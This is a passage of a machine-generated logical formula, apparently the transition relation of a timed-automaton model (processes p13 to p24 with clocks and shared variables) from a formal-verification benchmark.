!(((delta == 0.0) && p24_evt) && ((( !p24_l3) && (p24_l2 && (p24_l0 && ( !p24_l1)))) && (( !_x_p24_l3) && (_x_p24_l2 && (_x_p24_l1 && ( !_x_p24_l0))))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p24_l3) && (_x_p24_l2 && (_x_p24_l0 && _x_p24_l1))) && (_x_p24_c == 0.0))) || ( !((( !p24_l3) && (p24_l2 && (p24_l1 && ( !p24_l0)))) && ((delta == 0.0) && p24_evt))))) && ((((v1 == _x_v1) && (_x_p24_c == 0.0)) && (( !_x_v2) && (_x_p24_l3 && (( !_x_p24_l2) && (( !_x_p24_l0) && ( !_x_p24_l1)))))) || ( !((( !p24_l3) && (p24_l2 && (p24_l0 && p24_l1))) && ((delta == 0.0) && p24_evt))))) && ((((_x_v1 == 0) && (( !_x_p24_l3) && (( !_x_p24_l2) && (( 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p23_evt) && ((( !_x_p23_l3) && (( !_x_p23_l2) && (( !_x_p23_l0) && ( !_x_p23_l1)))) && (( !p23_l3) && (( !p23_l2) && (p23_l0 && p23_l1)))))))) && ((( !v2) && (_x_p23_c == 0.0)) || ( !(((delta == 0.0) && p23_evt) && ((( !p23_l3) && (( !p23_l2) && (p23_l0 && p23_l1))) && (( !_x_p23_l3) && (_x_p23_l2 && (( !_x_p23_l0) && ( !_x_p23_l1))))))))) && (((_x_v2 && (( !_x_p23_l3) && (_x_p23_l2 && (_x_p23_l0 && ( !_x_p23_l1))))) && ((v1 == _x_v1) && (_x_p23_c == 0.0))) || ( !((( !p23_l3) && (p23_l2 && (( !p23_l0) && ( !p23_l1)))) && ((delta == 0.0) && p23_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((p23_c == _x_p23_c) && ((( !_x_p23_l3) && (( !_x_p23_l2) && (( !_x_p23_l0) && ( !_x_p23_l1)))) || (( !_x_p23_l3) && (_x_p23_l2 && (_x_p23_l1 && ( !_x_p23_l0))))))) || ( !((( !p23_l3) && (p23_l2 && (p23_l0 && ( !p23_l1)))) && ((delta == 0.0) && p23_evt))))) && (( !(v1 == 24)) || ( !(((delta == 0.0) && p23_evt) && ((( !_x_p23_l3) && (( !_x_p23_l2) && (( !_x_p23_l0) && ( !_x_p23_l1)))) && (( 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&& (( !_x_p21_l2) && (_x_p21_l0 && _x_p21_l1))) || ((( !_x_p21_l3) && (( !_x_p21_l2) && (_x_p21_l1 && ( !_x_p21_l0)))) || ((( !_x_p21_l3) && (( !_x_p21_l2) && (( !_x_p21_l0) && ( !_x_p21_l1)))) || (( !_x_p21_l3) && (( !_x_p21_l2) && (_x_p21_l0 && ( !_x_p21_l1)))))))))))) && ((_x_p21_c <= 16.0) || ( !(((( !_x_p21_l3) && (( !_x_p21_l2) && (_x_p21_l0 && ( !_x_p21_l1)))) || (( !_x_p21_l3) && (_x_p21_l2 && (( !_x_p21_l0) && ( !_x_p21_l1))))) || ((( !_x_p21_l3) && (_x_p21_l2 && (_x_p21_l0 && _x_p21_l1))) || (_x_p21_l3 && (( !_x_p21_l2) && (( !_x_p21_l0) && ( !_x_p21_l1))))))))) && ((delta <= 0.0) || (((((p21_l0 == _x_p21_l0) && (p21_l1 == _x_p21_l1)) && (p21_l2 == _x_p21_l2)) && (p21_l3 == _x_p21_l3)) && ((delta + (p21_c + (-1.0 * _x_p21_c))) == 0.0)))) && (p21_evt || (((((p21_l0 == _x_p21_l0) && (p21_l1 == _x_p21_l1)) && (p21_l2 == _x_p21_l2)) && (p21_l3 == _x_p21_l3)) && ((delta + (p21_c + (-1.0 * _x_p21_c))) == 0.0)))) && (((v1 == _x_v1) && (((v1 == 0) && (( !_x_p21_l3) && (( !_x_p21_l2) && (_x_p21_l0 && ( !_x_p21_l1))))) && ((v2 == _x_v2) && (_x_p21_c == 0.0)))) || ( !((( !p21_l3) && (( !p21_l2) && (( !p21_l0) && ( !p21_l1)))) && ((delta == 0.0) && p21_evt))))) && ((((v2 == _x_v2) && (_x_p21_c == 0.0)) && ((( !_x_p21_l3) && (( !_x_p21_l2) && (_x_p21_l1 && ( !_x_p21_l0)))) && (_x_v1 == 22))) || ( !((( !p21_l3) && (( !p21_l2) && (p21_l0 && ( !p21_l1)))) && ((delta == 0.0) && p21_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p21_l3) && (( !_x_p21_l2) && (( !_x_p21_l0) && ( !_x_p21_l1)))) || (( !_x_p21_l3) && (( !_x_p21_l2) && (_x_p21_l0 && _x_p21_l1)))) && (p21_c == _x_p21_c))) || ( !((( !p21_l3) && (( !p21_l2) && (p21_l1 && ( !p21_l0)))) && ((delta == 0.0) && p21_evt))))) && (( !(v1 == 22)) || ( !((( !_x_p21_l3) && (( !_x_p21_l2) && (( !_x_p21_l0) && ( !_x_p21_l1)))) && ((( !p21_l3) && (( !p21_l2) && (p21_l1 && ( !p21_l0)))) && ((delta == 0.0) && p21_evt)))))) && (((v1 == 22) && ( !(p21_c <= 16.0))) || ( !((( !_x_p21_l3) && (( !_x_p21_l2) && (_x_p21_l0 && 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p21_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((p21_c == _x_p21_c) && ((( !_x_p21_l3) && (( !_x_p21_l2) && (( !_x_p21_l0) && ( !_x_p21_l1)))) || (( !_x_p21_l3) && (_x_p21_l2 && (_x_p21_l1 && ( !_x_p21_l0))))))) || ( !((( !p21_l3) && (p21_l2 && (p21_l0 && ( !p21_l1)))) && ((delta == 0.0) && p21_evt))))) && (( !(v1 == 22)) || ( !(((delta == 0.0) && p21_evt) && ((( !_x_p21_l3) && (( !_x_p21_l2) && (( !_x_p21_l0) && ( !_x_p21_l1)))) && (( !p21_l3) && (p21_l2 && (p21_l0 && ( !p21_l1))))))))) && ((v1 == 22) || ( !(((delta == 0.0) && p21_evt) && ((( !p21_l3) && (p21_l2 && (p21_l0 && ( !p21_l1)))) && (( !_x_p21_l3) && (_x_p21_l2 && (_x_p21_l1 && ( !_x_p21_l0))))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p21_l3) && (_x_p21_l2 && (_x_p21_l0 && _x_p21_l1))) && (_x_p21_c == 0.0))) || ( !((( !p21_l3) && (p21_l2 && (p21_l1 && ( !p21_l0)))) && ((delta == 0.0) && p21_evt))))) && ((((v1 == _x_v1) && (_x_p21_c == 0.0)) && (( !_x_v2) && (_x_p21_l3 && (( !_x_p21_l2) && (( !_x_p21_l0) && ( !_x_p21_l1)))))) || ( !((( !p21_l3) && (p21_l2 && (p21_l0 && p21_l1))) && ((delta == 0.0) && p21_evt))))) && ((((_x_v1 == 0) && (( !_x_p21_l3) && (( !_x_p21_l2) && (( !_x_p21_l0) && ( !_x_p21_l1))))) && ((v2 == _x_v2) && (p21_c == _x_p21_c))) || ( !((p21_l3 && (( !p21_l2) && (( !p21_l0) && ( !p21_l1)))) && ((delta == 0.0) && p21_evt))))) && (((((((((((((((((((((_x_p20_l3 && (( !_x_p20_l2) && (( !_x_p20_l0) && ( !_x_p20_l1)))) || ((( !_x_p20_l3) && (_x_p20_l2 && (_x_p20_l0 && _x_p20_l1))) || ((( !_x_p20_l3) && (_x_p20_l2 && (_x_p20_l1 && ( !_x_p20_l0)))) || ((( !_x_p20_l3) && (_x_p20_l2 && (_x_p20_l0 && ( !_x_p20_l1)))) || ((( !_x_p20_l3) && (_x_p20_l2 && (( !_x_p20_l0) && ( !_x_p20_l1)))) || ((( !_x_p20_l3) && (( !_x_p20_l2) && (_x_p20_l0 && _x_p20_l1))) || ((( !_x_p20_l3) && (( !_x_p20_l2) && (_x_p20_l1 && ( !_x_p20_l0)))) || ((( !_x_p20_l3) && (( !_x_p20_l2) && (( !_x_p20_l0) && ( !_x_p20_l1)))) || (( !_x_p20_l3) && (( !_x_p20_l2) && (_x_p20_l0 && ( !_x_p20_l1)))))))))))) && ((_x_p20_c <= 16.0) || ( !(((( !_x_p20_l3) && (( !_x_p20_l2) && (_x_p20_l0 && ( !_x_p20_l1)))) || (( !_x_p20_l3) && (_x_p20_l2 && (( !_x_p20_l0) && ( !_x_p20_l1))))) || ((( !_x_p20_l3) && (_x_p20_l2 && (_x_p20_l0 && _x_p20_l1))) || (_x_p20_l3 && (( !_x_p20_l2) && (( !_x_p20_l0) && ( !_x_p20_l1))))))))) && ((delta <= 0.0) || (((((p20_l0 == _x_p20_l0) && (p20_l1 == _x_p20_l1)) && (p20_l2 == _x_p20_l2)) && (p20_l3 == _x_p20_l3)) && ((delta + (p20_c + (-1.0 * _x_p20_c))) == 0.0)))) && (p20_evt || (((((p20_l0 == _x_p20_l0) && (p20_l1 == _x_p20_l1)) && (p20_l2 == _x_p20_l2)) && (p20_l3 == _x_p20_l3)) && ((delta + (p20_c + (-1.0 * _x_p20_c))) == 0.0)))) && (((v1 == _x_v1) && (((v1 == 0) && (( !_x_p20_l3) && (( !_x_p20_l2) && (_x_p20_l0 && ( !_x_p20_l1))))) && ((v2 == _x_v2) && (_x_p20_c == 0.0)))) || ( !((( !p20_l3) && (( !p20_l2) && (( !p20_l0) && ( !p20_l1)))) && ((delta == 0.0) && p20_evt))))) && ((((v2 == _x_v2) && (_x_p20_c == 0.0)) && ((( !_x_p20_l3) && (( !_x_p20_l2) && (_x_p20_l1 && ( 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((delta == 0.0) && p20_evt))))) && (( !(v1 == 21)) || ( !(((delta == 0.0) && p20_evt) && ((( !_x_p20_l3) && (( !_x_p20_l2) && (( !_x_p20_l0) && ( !_x_p20_l1)))) && (( !p20_l3) && (p20_l2 && (p20_l0 && ( !p20_l1))))))))) && ((v1 == 21) || ( !(((delta == 0.0) && p20_evt) && ((( !p20_l3) && (p20_l2 && (p20_l0 && ( !p20_l1)))) && (( !_x_p20_l3) && (_x_p20_l2 && (_x_p20_l1 && ( !_x_p20_l0))))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p20_l3) && (_x_p20_l2 && (_x_p20_l0 && _x_p20_l1))) && (_x_p20_c == 0.0))) || ( !((( !p20_l3) && (p20_l2 && (p20_l1 && ( !p20_l0)))) && ((delta == 0.0) && p20_evt))))) && ((((v1 == _x_v1) && (_x_p20_c == 0.0)) && (( !_x_v2) && (_x_p20_l3 && (( !_x_p20_l2) && (( !_x_p20_l0) && ( !_x_p20_l1)))))) || ( !((( !p20_l3) && (p20_l2 && (p20_l0 && p20_l1))) && ((delta == 0.0) && p20_evt))))) && ((((_x_v1 == 0) && (( !_x_p20_l3) && (( !_x_p20_l2) && (( !_x_p20_l0) && ( !_x_p20_l1))))) && ((v2 == _x_v2) && (p20_c == _x_p20_c))) || ( !((p20_l3 && (( !p20_l2) && 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((( !_x_p18_l3) && (_x_p18_l2 && (_x_p18_l0 && ( !_x_p18_l1)))) || ((( !_x_p18_l3) && (_x_p18_l2 && (( !_x_p18_l0) && ( !_x_p18_l1)))) || ((( !_x_p18_l3) && (( !_x_p18_l2) && (_x_p18_l0 && _x_p18_l1))) || ((( !_x_p18_l3) && (( !_x_p18_l2) && (_x_p18_l1 && ( !_x_p18_l0)))) || ((( !_x_p18_l3) && (( !_x_p18_l2) && (( !_x_p18_l0) && ( !_x_p18_l1)))) || (( !_x_p18_l3) && (( !_x_p18_l2) && (_x_p18_l0 && ( !_x_p18_l1)))))))))))) && ((_x_p18_c <= 16.0) || ( !(((( !_x_p18_l3) && (( !_x_p18_l2) && (_x_p18_l0 && ( !_x_p18_l1)))) || (( !_x_p18_l3) && (_x_p18_l2 && (( !_x_p18_l0) && ( !_x_p18_l1))))) || ((( !_x_p18_l3) && (_x_p18_l2 && (_x_p18_l0 && _x_p18_l1))) || (_x_p18_l3 && (( !_x_p18_l2) && (( !_x_p18_l0) && ( !_x_p18_l1))))))))) && ((delta <= 0.0) || (((((p18_l0 == _x_p18_l0) && (p18_l1 == _x_p18_l1)) && (p18_l2 == _x_p18_l2)) && (p18_l3 == _x_p18_l3)) && ((delta + (p18_c + (-1.0 * _x_p18_c))) == 0.0)))) && (p18_evt || (((((p18_l0 == _x_p18_l0) && (p18_l1 == _x_p18_l1)) && (p18_l2 == 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== _x_v2) && (v1 == _x_v1)) && ((( !_x_p17_l3) && (( !_x_p17_l2) && (( !_x_p17_l0) && ( !_x_p17_l1)))) || (( !_x_p17_l3) && (_x_p17_l2 && (( !_x_p17_l0) && ( !_x_p17_l1)))))) || ( !((( !p17_l3) && (( !p17_l2) && (p17_l0 && p17_l1))) && ((delta == 0.0) && p17_evt))))) && ((v2 && (p17_c == _x_p17_c)) || ( !(((delta == 0.0) && p17_evt) && ((( !_x_p17_l3) && (( !_x_p17_l2) && (( !_x_p17_l0) && ( !_x_p17_l1)))) && (( !p17_l3) && (( !p17_l2) && (p17_l0 && p17_l1)))))))) && ((( !v2) && (_x_p17_c == 0.0)) || ( !(((delta == 0.0) && p17_evt) && ((( !p17_l3) && (( !p17_l2) && (p17_l0 && p17_l1))) && (( !_x_p17_l3) && (_x_p17_l2 && (( !_x_p17_l0) && ( !_x_p17_l1))))))))) && (((_x_v2 && (( !_x_p17_l3) && (_x_p17_l2 && (_x_p17_l0 && ( !_x_p17_l1))))) && ((v1 == _x_v1) && (_x_p17_c == 0.0))) || ( !((( !p17_l3) && (p17_l2 && (( !p17_l0) && ( !p17_l1)))) && ((delta == 0.0) && p17_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((p17_c == _x_p17_c) && ((( !_x_p17_l3) && (( !_x_p17_l2) && (( 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((((_x_v1 == 0) && (( !_x_p17_l3) && (( !_x_p17_l2) && (( !_x_p17_l0) && ( !_x_p17_l1))))) && ((v2 == _x_v2) && (p17_c == _x_p17_c))) || ( !((p17_l3 && (( !p17_l2) && (( !p17_l0) && ( !p17_l1)))) && ((delta == 0.0) && p17_evt))))) && (((((((((((((((((((((_x_p16_l3 && (( !_x_p16_l2) && (( !_x_p16_l0) && ( !_x_p16_l1)))) || ((( !_x_p16_l3) && (_x_p16_l2 && (_x_p16_l0 && _x_p16_l1))) || ((( !_x_p16_l3) && (_x_p16_l2 && (_x_p16_l1 && ( !_x_p16_l0)))) || ((( !_x_p16_l3) && (_x_p16_l2 && (_x_p16_l0 && ( !_x_p16_l1)))) || ((( !_x_p16_l3) && (_x_p16_l2 && (( !_x_p16_l0) && ( !_x_p16_l1)))) || ((( !_x_p16_l3) && (( !_x_p16_l2) && (_x_p16_l0 && _x_p16_l1))) || ((( !_x_p16_l3) && (( !_x_p16_l2) && (_x_p16_l1 && ( !_x_p16_l0)))) || ((( !_x_p16_l3) && (( !_x_p16_l2) && (( !_x_p16_l0) && ( !_x_p16_l1)))) || (( !_x_p16_l3) && (( !_x_p16_l2) && (_x_p16_l0 && ( !_x_p16_l1)))))))))))) && ((_x_p16_c <= 16.0) || ( !(((( !_x_p16_l3) && (( !_x_p16_l2) && (_x_p16_l0 && ( !_x_p16_l1)))) || (( !_x_p16_l3) && (_x_p16_l2 && (( !_x_p16_l0) && ( !_x_p16_l1))))) || ((( !_x_p16_l3) && (_x_p16_l2 && (_x_p16_l0 && _x_p16_l1))) || (_x_p16_l3 && (( !_x_p16_l2) && (( !_x_p16_l0) && ( !_x_p16_l1))))))))) && ((delta <= 0.0) || (((((p16_l0 == _x_p16_l0) && (p16_l1 == _x_p16_l1)) && (p16_l2 == _x_p16_l2)) && (p16_l3 == _x_p16_l3)) && ((delta + (p16_c + (-1.0 * _x_p16_c))) == 0.0)))) && (p16_evt || (((((p16_l0 == _x_p16_l0) && (p16_l1 == _x_p16_l1)) && (p16_l2 == _x_p16_l2)) && (p16_l3 == _x_p16_l3)) && ((delta + (p16_c + (-1.0 * _x_p16_c))) == 0.0)))) && (((v1 == _x_v1) && (((v1 == 0) && (( !_x_p16_l3) && (( !_x_p16_l2) && (_x_p16_l0 && ( !_x_p16_l1))))) && ((v2 == _x_v2) && (_x_p16_c == 0.0)))) || ( !((( !p16_l3) && (( !p16_l2) && (( !p16_l0) && ( !p16_l1)))) && ((delta == 0.0) && p16_evt))))) && ((((v2 == _x_v2) && (_x_p16_c == 0.0)) && ((( !_x_p16_l3) && (( !_x_p16_l2) && (_x_p16_l1 && ( !_x_p16_l0)))) && (_x_v1 == 17))) || ( !((( !p16_l3) && (( !p16_l2) && (p16_l0 && ( !p16_l1)))) && ((delta == 0.0) && p16_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p16_l3) && (( !_x_p16_l2) && (( !_x_p16_l0) && ( !_x_p16_l1)))) || (( !_x_p16_l3) && (( !_x_p16_l2) && (_x_p16_l0 && _x_p16_l1)))) && (p16_c == _x_p16_c))) || ( !((( !p16_l3) && (( !p16_l2) && (p16_l1 && ( !p16_l0)))) && ((delta == 0.0) && p16_evt))))) && (( !(v1 == 17)) || ( !((( !_x_p16_l3) && (( !_x_p16_l2) && (( !_x_p16_l0) && ( !_x_p16_l1)))) && ((( !p16_l3) && (( !p16_l2) && (p16_l1 && ( !p16_l0)))) && ((delta == 0.0) && p16_evt)))))) && (((v1 == 17) && ( !(p16_c <= 16.0))) || ( !((( !_x_p16_l3) && (( !_x_p16_l2) && (_x_p16_l0 && _x_p16_l1))) && ((( !p16_l3) && (( !p16_l2) && (p16_l1 && ( !p16_l0)))) && ((delta == 0.0) && p16_evt)))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p16_l3) && (( !_x_p16_l2) && (( !_x_p16_l0) && ( !_x_p16_l1)))) || (( !_x_p16_l3) && (_x_p16_l2 && (( !_x_p16_l0) && ( !_x_p16_l1)))))) || ( !((( !p16_l3) && (( !p16_l2) && (p16_l0 && p16_l1))) && ((delta == 0.0) && p16_evt))))) && ((v2 && (p16_c == _x_p16_c)) || ( !(((delta == 0.0) && p16_evt) && ((( !_x_p16_l3) && (( !_x_p16_l2) && (( !_x_p16_l0) && ( !_x_p16_l1)))) && (( !p16_l3) && (( !p16_l2) && (p16_l0 && p16_l1)))))))) && ((( !v2) && (_x_p16_c == 0.0)) || ( !(((delta == 0.0) && p16_evt) && ((( !p16_l3) && (( !p16_l2) && (p16_l0 && p16_l1))) && (( !_x_p16_l3) && (_x_p16_l2 && (( !_x_p16_l0) && ( !_x_p16_l1))))))))) && (((_x_v2 && (( !_x_p16_l3) && (_x_p16_l2 && (_x_p16_l0 && ( !_x_p16_l1))))) && ((v1 == _x_v1) && (_x_p16_c == 0.0))) || ( !((( !p16_l3) && (p16_l2 && (( !p16_l0) && ( !p16_l1)))) && ((delta == 0.0) && p16_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((p16_c == _x_p16_c) && ((( !_x_p16_l3) && (( !_x_p16_l2) && (( !_x_p16_l0) && ( !_x_p16_l1)))) || (( !_x_p16_l3) && (_x_p16_l2 && (_x_p16_l1 && ( !_x_p16_l0))))))) || ( !((( !p16_l3) && (p16_l2 && (p16_l0 && ( !p16_l1)))) && ((delta == 0.0) && p16_evt))))) && (( !(v1 == 17)) || ( !(((delta == 0.0) && p16_evt) && ((( !_x_p16_l3) && (( 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== _x_p15_l2)) && (p15_l3 == _x_p15_l3)) && ((delta + (p15_c + (-1.0 * _x_p15_c))) == 0.0)))) && (p15_evt || (((((p15_l0 == _x_p15_l0) && (p15_l1 == _x_p15_l1)) && (p15_l2 == _x_p15_l2)) && (p15_l3 == _x_p15_l3)) && ((delta + (p15_c + (-1.0 * _x_p15_c))) == 0.0)))) && (((v1 == _x_v1) && (((v1 == 0) && (( !_x_p15_l3) && (( !_x_p15_l2) && (_x_p15_l0 && ( !_x_p15_l1))))) && ((v2 == _x_v2) && (_x_p15_c == 0.0)))) || ( !((( !p15_l3) && (( !p15_l2) && (( !p15_l0) && ( !p15_l1)))) && ((delta == 0.0) && p15_evt))))) && ((((v2 == _x_v2) && (_x_p15_c == 0.0)) && ((( !_x_p15_l3) && (( !_x_p15_l2) && (_x_p15_l1 && ( !_x_p15_l0)))) && (_x_v1 == 16))) || ( !((( !p15_l3) && (( !p15_l2) && (p15_l0 && ( !p15_l1)))) && ((delta == 0.0) && p15_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p15_l3) && (( !_x_p15_l2) && (( !_x_p15_l0) && ( !_x_p15_l1)))) || (( !_x_p15_l3) && (( !_x_p15_l2) && (_x_p15_l0 && _x_p15_l1)))) && (p15_c == _x_p15_c))) || ( !((( !p15_l3) && (( !p15_l2) && (p15_l1 && ( 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!_x_p15_l0))))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p15_l3) && (_x_p15_l2 && (_x_p15_l0 && _x_p15_l1))) && (_x_p15_c == 0.0))) || ( !((( !p15_l3) && (p15_l2 && (p15_l1 && ( !p15_l0)))) && ((delta == 0.0) && p15_evt))))) && ((((v1 == _x_v1) && (_x_p15_c == 0.0)) && (( !_x_v2) && (_x_p15_l3 && (( !_x_p15_l2) && (( !_x_p15_l0) && ( !_x_p15_l1)))))) || ( !((( !p15_l3) && (p15_l2 && (p15_l0 && p15_l1))) && ((delta == 0.0) && p15_evt))))) && ((((_x_v1 == 0) && (( !_x_p15_l3) && (( !_x_p15_l2) && (( !_x_p15_l0) && ( !_x_p15_l1))))) && ((v2 == _x_v2) && (p15_c == _x_p15_c))) || ( !((p15_l3 && (( !p15_l2) && (( !p15_l0) && ( !p15_l1)))) && ((delta == 0.0) && p15_evt))))) && (((((((((((((((((((((_x_p14_l3 && (( !_x_p14_l2) && (( !_x_p14_l0) && ( !_x_p14_l1)))) || ((( !_x_p14_l3) && (_x_p14_l2 && (_x_p14_l0 && _x_p14_l1))) || ((( !_x_p14_l3) && (_x_p14_l2 && (_x_p14_l1 && ( !_x_p14_l0)))) || ((( !_x_p14_l3) && (_x_p14_l2 && (_x_p14_l0 && ( !_x_p14_l1)))) || ((( !_x_p14_l3) && (_x_p14_l2 && (( !_x_p14_l0) && ( !_x_p14_l1)))) || ((( !_x_p14_l3) && (( !_x_p14_l2) && (_x_p14_l0 && _x_p14_l1))) || ((( !_x_p14_l3) && (( !_x_p14_l2) && (_x_p14_l1 && ( !_x_p14_l0)))) || ((( !_x_p14_l3) && (( !_x_p14_l2) && (( !_x_p14_l0) && ( !_x_p14_l1)))) || (( !_x_p14_l3) && (( !_x_p14_l2) && (_x_p14_l0 && ( !_x_p14_l1)))))))))))) && ((_x_p14_c <= 16.0) || ( !(((( !_x_p14_l3) && (( !_x_p14_l2) && (_x_p14_l0 && ( !_x_p14_l1)))) || (( !_x_p14_l3) && (_x_p14_l2 && (( !_x_p14_l0) && ( !_x_p14_l1))))) || ((( !_x_p14_l3) && (_x_p14_l2 && (_x_p14_l0 && _x_p14_l1))) || (_x_p14_l3 && (( !_x_p14_l2) && (( !_x_p14_l0) && ( !_x_p14_l1))))))))) && ((delta <= 0.0) || (((((p14_l0 == _x_p14_l0) && (p14_l1 == _x_p14_l1)) && (p14_l2 == _x_p14_l2)) && (p14_l3 == _x_p14_l3)) && ((delta + (p14_c + (-1.0 * _x_p14_c))) == 0.0)))) && (p14_evt || (((((p14_l0 == _x_p14_l0) && (p14_l1 == _x_p14_l1)) && (p14_l2 == _x_p14_l2)) && (p14_l3 == _x_p14_l3)) && ((delta + (p14_c + (-1.0 * _x_p14_c))) == 0.0)))) && (((v1 == _x_v1) && (((v1 == 0) && (( !_x_p14_l3) && (( !_x_p14_l2) && (_x_p14_l0 && ( !_x_p14_l1))))) && ((v2 == _x_v2) && (_x_p14_c == 0.0)))) || ( !((( !p14_l3) && (( !p14_l2) && (( !p14_l0) && ( !p14_l1)))) && ((delta == 0.0) && p14_evt))))) && ((((v2 == _x_v2) && (_x_p14_c == 0.0)) && ((( !_x_p14_l3) && (( !_x_p14_l2) && (_x_p14_l1 && ( !_x_p14_l0)))) && (_x_v1 == 15))) || ( !((( !p14_l3) && (( !p14_l2) && (p14_l0 && ( !p14_l1)))) && ((delta == 0.0) && p14_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p14_l3) && (( !_x_p14_l2) && (( !_x_p14_l0) && ( !_x_p14_l1)))) || (( !_x_p14_l3) && (( !_x_p14_l2) && (_x_p14_l0 && _x_p14_l1)))) && (p14_c == _x_p14_c))) || ( !((( !p14_l3) && (( !p14_l2) && (p14_l1 && ( !p14_l0)))) && ((delta == 0.0) && p14_evt))))) && (( !(v1 == 15)) || ( !((( !_x_p14_l3) && (( !_x_p14_l2) && (( !_x_p14_l0) && ( !_x_p14_l1)))) && ((( !p14_l3) && (( !p14_l2) && (p14_l1 && ( !p14_l0)))) && ((delta == 0.0) && p14_evt)))))) && (((v1 == 15) && ( !(p14_c <= 16.0))) || ( !((( !_x_p14_l3) && (( !_x_p14_l2) && (_x_p14_l0 && _x_p14_l1))) && ((( !p14_l3) && (( !p14_l2) && (p14_l1 && ( !p14_l0)))) && ((delta == 0.0) && p14_evt)))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p14_l3) && (( !_x_p14_l2) && (( !_x_p14_l0) && ( !_x_p14_l1)))) || (( !_x_p14_l3) && (_x_p14_l2 && (( !_x_p14_l0) && ( !_x_p14_l1)))))) || ( !((( !p14_l3) && (( !p14_l2) && (p14_l0 && p14_l1))) && ((delta == 0.0) && p14_evt))))) && ((v2 && (p14_c == _x_p14_c)) || ( !(((delta == 0.0) && p14_evt) && ((( !_x_p14_l3) && (( !_x_p14_l2) && (( !_x_p14_l0) && ( !_x_p14_l1)))) && (( !p14_l3) && (( !p14_l2) && (p14_l0 && p14_l1)))))))) && ((( !v2) && (_x_p14_c == 0.0)) || ( !(((delta == 0.0) && p14_evt) && ((( !p14_l3) && (( !p14_l2) && (p14_l0 && p14_l1))) && (( !_x_p14_l3) && (_x_p14_l2 && (( !_x_p14_l0) && ( !_x_p14_l1))))))))) && (((_x_v2 && (( !_x_p14_l3) && (_x_p14_l2 && (_x_p14_l0 && ( !_x_p14_l1))))) && ((v1 == _x_v1) && (_x_p14_c == 0.0))) || ( !((( !p14_l3) && (p14_l2 && (( !p14_l0) && ( !p14_l1)))) && ((delta == 0.0) && p14_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((p14_c == _x_p14_c) && ((( !_x_p14_l3) && (( !_x_p14_l2) && (( !_x_p14_l0) && ( !_x_p14_l1)))) || (( !_x_p14_l3) && (_x_p14_l2 && (_x_p14_l1 && ( !_x_p14_l0))))))) || ( !((( !p14_l3) && (p14_l2 && (p14_l0 && ( !p14_l1)))) && ((delta == 0.0) && p14_evt))))) && (( !(v1 == 15)) || ( !(((delta == 0.0) && p14_evt) && ((( !_x_p14_l3) && (( !_x_p14_l2) && (( !_x_p14_l0) && ( !_x_p14_l1)))) && (( !p14_l3) && (p14_l2 && (p14_l0 && ( !p14_l1))))))))) && ((v1 == 15) || ( !(((delta == 0.0) && p14_evt) && ((( !p14_l3) && (p14_l2 && (p14_l0 && ( !p14_l1)))) && (( !_x_p14_l3) && (_x_p14_l2 && (_x_p14_l1 && ( !_x_p14_l0))))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p14_l3) && (_x_p14_l2 && (_x_p14_l0 && _x_p14_l1))) && (_x_p14_c == 0.0))) || ( !((( !p14_l3) && (p14_l2 && (p14_l1 && ( !p14_l0)))) && ((delta == 0.0) && p14_evt))))) && ((((v1 == _x_v1) && (_x_p14_c == 0.0)) && (( !_x_v2) && (_x_p14_l3 && (( !_x_p14_l2) && (( !_x_p14_l0) && ( !_x_p14_l1)))))) || ( !((( !p14_l3) && (p14_l2 && (p14_l0 && p14_l1))) && ((delta == 0.0) && p14_evt))))) && ((((_x_v1 == 0) && (( !_x_p14_l3) && (( !_x_p14_l2) && (( !_x_p14_l0) && ( !_x_p14_l1))))) && ((v2 == _x_v2) && (p14_c == _x_p14_c))) || ( !((p14_l3 && (( !p14_l2) && (( !p14_l0) && ( !p14_l1)))) && ((delta == 0.0) && p14_evt))))) && (((((((((((((((((((((_x_p13_l3 && (( !_x_p13_l2) && (( !_x_p13_l0) && ( !_x_p13_l1)))) || ((( !_x_p13_l3) && (_x_p13_l2 && (_x_p13_l0 && _x_p13_l1))) || ((( !_x_p13_l3) && (_x_p13_l2 && (_x_p13_l1 && ( !_x_p13_l0)))) || ((( !_x_p13_l3) && (_x_p13_l2 && (_x_p13_l0 && ( !_x_p13_l1)))) || ((( !_x_p13_l3) && (_x_p13_l2 && (( !_x_p13_l0) && ( !_x_p13_l1)))) || ((( !_x_p13_l3) && (( !_x_p13_l2) && (_x_p13_l0 && _x_p13_l1))) || ((( !_x_p13_l3) && (( !_x_p13_l2) && (_x_p13_l1 && ( !_x_p13_l0)))) || ((( !_x_p13_l3) && (( !_x_p13_l2) && (( !_x_p13_l0) && ( !_x_p13_l1)))) || (( !_x_p13_l3) && (( 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0.0)) && ((( !_x_p13_l3) && (( !_x_p13_l2) && (_x_p13_l1 && ( !_x_p13_l0)))) && (_x_v1 == 14))) || ( !((( !p13_l3) && (( !p13_l2) && (p13_l0 && ( !p13_l1)))) && ((delta == 0.0) && p13_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p13_l3) && (( !_x_p13_l2) && (( !_x_p13_l0) && ( !_x_p13_l1)))) || (( !_x_p13_l3) && (( !_x_p13_l2) && (_x_p13_l0 && _x_p13_l1)))) && (p13_c == _x_p13_c))) || ( !((( !p13_l3) && (( !p13_l2) && (p13_l1 && ( !p13_l0)))) && ((delta == 0.0) && p13_evt))))) && (( !(v1 == 14)) || ( !((( !_x_p13_l3) && (( !_x_p13_l2) && (( !_x_p13_l0) && ( !_x_p13_l1)))) && ((( !p13_l3) && (( !p13_l2) && (p13_l1 && ( !p13_l0)))) && ((delta == 0.0) && p13_evt)))))) && (((v1 == 14) && ( !(p13_c <= 16.0))) || ( !((( 